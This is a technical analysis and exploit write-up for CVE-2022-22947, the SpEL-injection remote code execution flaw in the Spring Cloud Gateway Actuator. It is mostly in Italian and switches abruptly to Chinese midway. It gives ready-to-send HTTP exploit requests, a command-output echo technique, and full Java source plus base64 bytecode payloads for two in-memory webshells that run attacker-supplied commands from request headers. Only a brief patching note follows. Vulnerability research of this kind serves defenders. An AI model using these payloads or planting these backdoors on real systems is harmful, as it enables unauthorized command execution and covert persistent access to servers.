
Analisi dettagliata e exploit per CVE-2022-22947, una vulnerabilità di esecuzione remota di codice in Spring Cloud Gateway tramite iniezione SpEL nell'API Actuator. Include PoC, iniezione di shell in memoria e analisi della causa principale.
Spring Cloud Gateway è un nuovo progetto di Spring Cloud, un gateway sviluppato basandosi su tecnologie come Spring 5.0, Spring Boot 2.0 e Project Reactor, progettato per fornire un modo semplice ed efficace di gestione unificata delle route API per architetture a microservizi. Recentemente è stato scoperto un RCE critico in Spring Cloud Gateway CVE, le informazioni sulla CVE mostrano che quando l'applicazione abilita ed espone l'endpoint Gateway Actuator di Spring Cloud Gateway, è soggetta ad attacchi di iniezione di codice remoto; un aggressore può inviare richieste malevole per eseguire codice arbitrario da remoto. Le versioni attualmente interessate sono:
Questa analisi, attraverso la riproduzione di questa CVE, studia il principio della vulnerabilità e le modalità di sfruttamento più avanzate.
Crea un progetto Maven con le seguenti dipendenze:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Nella configurazione predefinita di Spring Boot, solo l'endpoint 'health' è esposto al web. Se è necessario esporre il gateway, è necessario configurarlo manualmente. Fare riferimento alla [documentazione ufficiale](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Invia il seguente POC:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Quindi invia ````POST /actuator/gateway/refresh```` per aggiornare le informazioni della cache delle route, attivando così il POC:

## Analisi del principio
Osservando il POC sopra, prima viene aggiunta dinamicamente una route tramite ````POST /actuator/gateway/routes/test2````. Durante l'aggiunta della route, un filter elabora il parametro di input e può trattare il valore come un'espressione SPEL. Quando la cache delle route viene aggiornata, viene attivata l'esecuzione del POC.
Per prima cosa, esaminiamo il meccanismo di configurazione dinamica delle route di Spring Cloud Gateway.
### Configurazione delle route dinamiche
Spring Cloud Gateway supporta la registrazione delle route tramite codice/file di configurazione, come mostrato nel [demo](https://spring.io/guides/gs/gateway/) ufficiale:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
Il metodo di configurazione è simile al codice:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Le route aggiunte in entrambi i modi sono fisse; se è necessario aggiungere, modificare o eliminare configurazioni e regole di routing, è necessario riavviare l'applicazione affinché le modifiche abbiano effetto. Tuttavia, in pratica, Spring Cloud Gateway, essendo il punto di ingresso per tutto il traffico, deve garantire un'alta disponibilità del sistema. Pertanto, Spring Cloud Gateway espone l'endpoint `/gateway` e, tramite `/gateway/routes`, è possibile aggiungere, eliminare e modificare dinamicamente le informazioni di routing. Tuttavia, le informazioni di routing aggiunte in questo modo risiedono solo in memoria; una volta che il servizio viene riavviato, le nuove configurazioni di routing vengono perse.
Dal formato di registrazione delle route sopra riportato, si può notare che un'informazione di route include l'URI di destinazione, un insieme di filter e un insieme di predicates. I predicates possono corrispondere a qualsiasi contenuto della richiesta HTTP (header, parametri). Spring Cloud Gateway ha molte classi factory di route predicate integrate, come Before, After, Between, Cookie, Header, Host, [Path, ecc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

I filter vengono utilizzati per modificare la richiesta o la risposta prima o dopo l'invio della richiesta. Anche loro includono molti insiemi di filter integrati. Nel payload che ha attivato la RCE sopra, abbiamo usato il filter `AddResponseHeader`. Altri filter includono `RewritePath`, `SetPath`, ecc. Esistono due tipi di filter: i `GlobalFilter`, che sono validi per tutte le route, e i `GatewayFilter`, che sono validi solo per una singola route. Per maggiori dettagli, fare riferimento a https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Flusso della richiesta
Allora, qual è il flusso specifico quando una richiesta arriva attraverso il gateway fino al servizio proxy di backend? Il diagramma seguente mostra il flusso dalla documentazione ufficiale:

Il client invia una richiesta a Spring Cloud Gateway. Quindi, in Gateway Handler Mapping, viene trovata la route corrispondente alla richiesta e inviata a Gateway Web Handler. L'Handler, a sua volta, invia la richiesta attraverso la catena di filtri specificata al servizio effettivo che esegue la logica di business e restituisce la risposta. I filtri sono separati da linee tratteggiate perché possono eseguire la logica di business prima (pre) o dopo (post) l'invio della richiesta al proxy.
`RoutePredicateHandlerMapping` trova la route, che viene poi elaborata da `webHandler`:

In `webHandler`, vengono trovati i `gatewayFilters` e i `globalFilters`, quindi vengono ordinati in base al valore `Order` definito nei filtri, formando una `filterchain` e vengono eseguiti tutti i filtri.

### Registrazione dinamica delle route
Ora diamo un'occhiata più da vicino a come, quando si aggiunge una route tramite l'endpoint gateway, viene attivata l'esecuzione di spel.```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:



然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
... // meccanismo di publisher e subscriber di Spring WebFlux
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```

解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```
上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?
把payload中的predicates换上payload试试:

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"```
综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。
## 漏洞利用
### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json
{
"id": "test3",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test4"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
}
}],
"uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;
public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
private ConnectionObserver connectionObserver;
private Channel channel;
private SocketAddress socketAddress;
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemShell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
@Override
// Step1. Registra l'Handler nella pipeline come ChannelPipelineConfigurer
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
this.connectionObserver = connectionObserver;
this.channel = channel;
this.socketAddress = socketAddress;
ChannelPipeline pipeline = channel.pipeline();
// Aggiungi l'handler del memory shell prima dell'handler del livello Spring
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
}
@Override
// Step2. Gestisci la richiesta come Handler, qui implementa la logica funzionale del memory shell
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
// Restituisci il risultato dell'esecuzione
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}```
POC如下:
```text
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json
{
"id": "test5",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test5"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
}
}],
"uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json
{
"id": "test6",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/test6"}
}],
"filters":[{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoCACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAMgBAAAIAKQAAAGgABAADAAAAJrsAHFm4AB0rtgAetgAftwAgEiG2ACK2ACNNuwAkWSyyACW3ACawAAAAAgAqAAAACgACAAAAIgAaACMAKwAAACAAAwAAACYALAAtAAAAAAAmAEEAPgABABoADABCAD4AAgBDAAAABAABAEQAAQBFAAAAAgBG\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}"
}
}],
"uri": "http://127.0.0.1:9999/test6",
"order": 0
}]```
其中的requestMappingHandlerMapping的获取方式比较巧妙,直接从SPEL上下文的beanFactory中获取:

## 漏洞修复
* 如果可以的话关闭Actuator gateway的暴露,这样至少只要不是能控制配置文件,就能避免远程代码执行(通过配置文件注册的路由也会走到上面spel解析的地方);
* 升级版本(官方修复方式:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e )
2.x 与 3.x 版本的区别
在产生漏洞的核心点上,二者没有区别,都是 ShortcutConfigurable 接口的 getValue 方法中使用了 StandardEvaluationContext 类来执行 SpEL 表达式。
第一个区别在于,2.x 版本在刷新路由后需要额外一次请求才能触发 SpEL 表达式的执行。而 3.x 版本在刷新路由后会立即执行。
第二个区别在于对此方法的调用链。通过查找源代码可知,只有 ConfigurationService 类的内部类 ConfigurableBuilder 的 normalizeProperties 方法(重写了父类中的方法)中调用了 normalize 方法。而 ConfigurableBuilder 类继承自内部抽象类 AbstractBuilder。AbstractBuilder 类中有一公有方法 bind 调用了 normalizeProperties 方法。
https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
https://www.cnblogs.com/duanxz/p/14780675.html
https://mp.weixin.qq.com/s/w3et7TzqZ4ctyybEWQ82HQ
https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/